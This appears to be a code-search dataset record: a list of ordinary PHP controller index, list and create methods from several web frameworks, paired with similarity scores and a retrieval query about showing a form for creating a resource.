"public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }",
"public function view(){\n\t\t$this->buildListing();\n\t}",
"public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }",
"public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }",
"public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }",
"public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }",
"public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }",
"public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }",
"public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }",
"public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }",
"public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }",
"public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}",
"public function listAction() {}",
"public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }",
"public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }",
"public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }",
"public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }",
"public function executeList()\n {\n $this->setTemplate('list');\n }",
"public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }",
"function listing() {\r\n\r\n }",
"public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }",
"public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }",
"public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}",
"public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }",
"public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }",
"public function _index(){\n\t $this->_list();\n\t}",
"public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}",
"function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}",
"public function index()\n {\n $this->booklist();\n }",
"public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }",
"public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }",
"public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }",
"public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }",
"public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }",
"public function indexAction() {\n $this->_forward('list');\n }",
"public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }",
"public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }",
"public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}",
"public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }",
"public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }",
"public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }",
"public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }",
"public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }",
"public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }",
"public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }",
"public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}",
"public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }",
"public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }",
"public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }",
"public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}",
"public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }",
"public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }",
"public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }",
"public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }",
"public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }",
"public function index()\n {\n return view('admin.resources.index');\n }",
"public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}"
]
| [
"0.7446777",
"0.736227",
"0.73005503",
"0.72478926",
"0.71631265",
"0.71489686",
"0.7131636",
"0.7105969",
"0.71029514",
"0.7101372",
"0.70508176",
"0.6995128",
"0.69890636",
"0.6934895",
"0.6900203",
"0.6899281",
"0.6891734",
"0.6887235",
"0.68670005",
"0.6849741",
"0.6830523",
"0.6802689",
"0.6797",
"0.67957735",
"0.67871135",
"0.6760129",
"0.67427456",
"0.6730486",
"0.67272323",
"0.67255723",
"0.67255723",
"0.67255723",
"0.67177945",
"0.6707866",
"0.6706713",
"0.6704375",
"0.6664782",
"0.6662871",
"0.6660302",
"0.6659404",
"0.6656656",
"0.6653517",
"0.6647965",
"0.6620322",
"0.66185474",
"0.6618499",
"0.6606105",
"0.6600617",
"0.65996987",
"0.6594775",
"0.6587389",
"0.6585109",
"0.6581641",
"0.6581017",
"0.6577157",
"0.65747666",
"0.6572513",
"0.65721947",
"0.6570553",
"0.65646994",
"0.6563556",
"0.6554194",
"0.65529937",
"0.65460825",
"0.65368485",
"0.653429",
"0.65328294",
"0.6526759",
"0.6526695",
"0.6526284",
"0.65191334",
"0.65183175",
"0.65174305",
"0.651703",
"0.65141153",
"0.6507088",
"0.65061647",
"0.6504046",
"0.64942145",
"0.6491893",
"0.64883405",
"0.6486392",
"0.6485077",
"0.64846045",
"0.6478858",
"0.64756656",
"0.64726377",
"0.6471126",
"0.64701074",
"0.6467418",
"0.6462195",
"0.64618355",
"0.6459199",
"0.6457831",
"0.6454631",
"0.64533997",
"0.6451915",
"0.6450861",
"0.6449301",
"0.64492667",
"0.64469045"
]
| 0.0 | -1 |
Show the form for creating a new resource. | public function create()
{
$roles = Role::all();
return view('admin.users.create', compact('roles'));
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function create()\n {\n return $this->showForm('create');\n }",
"public function create()\n {\n return $this->showForm('create');\n }",
"public function create()\n {\n return view('admin.resources.create');\n }",
"public function create(){\n\n return view('resource.create');\n }",
"public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}",
"public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }",
"public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }",
"public function create()\n {\n return view ('forms.create');\n }",
"public function create ()\n {\n return view('forms.create');\n }",
"public function create()\n\t{\n\t\treturn view('faith.form');\n\t}",
"public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }",
"public function create()\n {\n return view(\"request_form.form\");\n }",
"public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }",
"public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle école'\n\t\t) ) );\n\t}",
"public function create()\n {\n return view($this->forms . '.create');\n }",
"public function create()\n {\n return view('restful.add');\n }",
"public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }",
"public function create()\n {\n return view('admin.createform');\n }",
"public function create()\n {\n return view('admin.forms.create');\n }",
"public function create()\n {\n return view('backend.student.form');\n }",
"public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }",
"public function create()\n {\n return view('client.form');\n }",
"public function create()\n {\n // Nos regresa la vista del formulario\n return view('project.form');\n }",
"public function create()\n {\n return view('Form');\n }",
"public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }",
"public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}",
"public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }",
"public function create()\n {\n return view('form');\n }",
"public function create()\n {\n return view('form');\n }",
"public function create()\n {\n return view('form');\n }",
"public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }",
"public function create()\n {\n return view('backend.schoolboard.addform');\n }",
"public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}",
"public function create()\n {\n //\n return view('form');\n }",
"public function create()\n {\n return view('rests.create');\n }",
"public function create()\n {\n return $this->showForm();\n }",
"public function create()\n {\n return $this->showForm();\n }",
"public function create()\n {\n return view(\"Add\");\n }",
"public function create(){\n return view('form.create');\n }",
"public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }",
"public function create()\n {\n\n return view('control panel.student.add');\n\n }",
"public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}",
"public function create()\n {\n $data['action'] = 'pengiriman.store';\n return view('pengiriman.form', $data);\n }",
"public function create()\n {\n return $this->cView(\"form\");\n }",
"public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }",
"public function create()\n {\n return view(\"dresses.form\");\n }",
"public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}",
"public function createAction()\n {\n// $this->view->form = $form;\n }",
"public function create()\n {\n return view('bank_account.form', ['mode' => 'create']);\n }",
"public function create()\n {\n return view('fish.form');\n }",
"public function create()\n {\n return view('users.forms.create');\n }",
"public function create()\n {\n $this->setFormFields($this->getCreateFormFields());\n $form = $this->getCreateForm();\n\n return view($this->getViewName('create'), [\n 'crudSlug' => $this->slug,\n 'form' => $form,\n ]);\n }",
"public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}",
"public function create()\n {\n $person = new Person;\n return view('contents.personform')->with(compact('person') );\n }",
"public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }",
"public function create()\n {\n Gate::authorize('app.products.create');\n\n return view('backend.products.form');\n }",
"public function create()\n {\n return view('essentials::create');\n }",
"public function create()\n {\n return view('student.add');\n }",
"public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}",
"public function create()\n {\n return view('url.form');\n }",
"public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }",
"public function create()\n\t{\n\t\treturn View::make('crebos.create');\n\t}",
"public function create() : View\n {\n $fieldset = $this->menuFieldset();\n\n return $this->view('create', [\n 'title' => trans('addons.Aardwolf::titles.create'),\n 'data' => [],\n 'fieldset' => $fieldset->toPublishArray(),\n 'suggestions' => [],\n 'submitUrl' => route('aardwolf.postCreate')\n ]);\n }",
"public function create()\n {\n return view('libro.create');\n }",
"public function create()\n {\n return view('libro.create');\n }",
"public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function create()\n {\n return view('crud/add'); }",
"public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}",
"public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function create()\n {\n return view(\"List.form\");\n }",
"public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}",
"public function create()\n {\n //load create form\n return view('products.create');\n }",
"public function create()\n {\n return view('article.addform');\n }",
"public function create()\n {\n // Mengarahkan ke halaman form\n return view('buku.form');\n }",
"public function create()\n\t{\n\t\t// load the create form (app/views/material/create.blade.php)\n\t\t$this->layout->content = View::make('material.create');\n\t}",
"public function create()\n {\n return view('saldo.form');\n }",
"public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}",
"public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }",
"public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }",
"public function create()\n {\n return view('admin.inverty.add');\n }",
"public function create()\n {\n return view('Libro.create');\n }",
"public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }",
"public function create()\n {\n $breadcrumb='car.create';\n return view('admin.partials.cars.form', compact('breadcrumb'));\n }",
"public function create()\n {\n return view(\"familiasPrograma.create\");\n }",
"public function create()\n {\n return view('admin.car.create');\n }",
"public function create()\n {\n return view('admin.car.create');\n }",
"public function create()\n\t{\n\t\treturn View::make('perusahaans.create');\n\t}",
"public function create()\n {\n return view(\"create\");\n }",
"public function create()\n\t{\n //echo 'show form';\n\t\treturn View::make('gaans.create');\n\t}",
"public function create()\n {\n $title = trans('dormitorybed.new');\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }",
"public function create()\n {\n return view('forming');\n }",
"public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }",
"public function create()\n {\n \t\n \treturn view('supplies.create');\n\n }",
"public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }",
"public function create()\n {\n $page_title = \"Add New\";\n return view($this->path.'create', compact('page_title'));\n }",
"public function create()\n {\n // not sure what to do with the form since im\n // using ame partial for both create and edit\n return view('plants.create')->with('plant', new Plant);\n }",
"public function create() {\n\t\t$title = 'Create | Show';\n\n\t\treturn view('admin.show.create', compact('title'));\n\t}",
"public function create()\n {\n return view('student::students.student.create');\n }",
"public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}"
]
| [
"0.75948673",
"0.75948673",
"0.75863165",
"0.7577412",
"0.75727344",
"0.7500887",
"0.7434847",
"0.7433956",
"0.73892003",
"0.73531085",
"0.73364776",
"0.73125",
"0.7296102",
"0.7281891",
"0.72741455",
"0.72424185",
"0.7229325",
"0.7226713",
"0.7187349",
"0.7179176",
"0.7174283",
"0.7150356",
"0.71444064",
"0.71442676",
"0.713498",
"0.71283126",
"0.7123691",
"0.71158516",
"0.71158516",
"0.71158516",
"0.7112176",
"0.7094388",
"0.7085711",
"0.708025",
"0.70800644",
"0.70571953",
"0.70571953",
"0.70556754",
"0.70396435",
"0.7039549",
"0.7036275",
"0.703468",
"0.70305896",
"0.7027638",
"0.70265305",
"0.70199823",
"0.7018007",
"0.7004984",
"0.7003889",
"0.7000935",
"0.69973785",
"0.6994679",
"0.6993764",
"0.6989918",
"0.6986989",
"0.6966502",
"0.69656384",
"0.69564354",
"0.69518244",
"0.6951109",
"0.6947306",
"0.69444615",
"0.69423944",
"0.6941156",
"0.6937871",
"0.6937871",
"0.6936686",
"0.69345254",
"0.69318026",
"0.692827",
"0.69263744",
"0.69242257",
"0.6918349",
"0.6915889",
"0.6912884",
"0.691146",
"0.69103104",
"0.69085974",
"0.69040126",
"0.69014287",
"0.69012105",
"0.6900397",
"0.68951064",
"0.6893521",
"0.68932164",
"0.6891899",
"0.6891616",
"0.6891616",
"0.6889246",
"0.68880934",
"0.6887128",
"0.6884732",
"0.68822503",
"0.68809193",
"0.6875949",
"0.68739206",
"0.68739134",
"0.6870358",
"0.6869779",
"0.68696856",
"0.686877"
]
| 0.0 | -1 |
Store a newly created resource in storage. | public function store(UserCreateRequest $request)
{
try {
$user = User::create($request->all());
$user->roles()->sync($request->roles);
return redirect()->route('admin.users.show', ['id' => $user->id])->with(['type' => 'success', 'message' => __('messages.success.store')]);
} catch (\Exception $e) {
return redirect()->back()->with(['type' => 'danger', 'message' => __('messages.danger.create')])->withInput();
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function store($data, Resource $resource);",
"public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }",
"public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }",
"public function createStorage();",
"public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }",
"public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }",
"public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }",
"function storeAndNew() {\n $this->store();\n }",
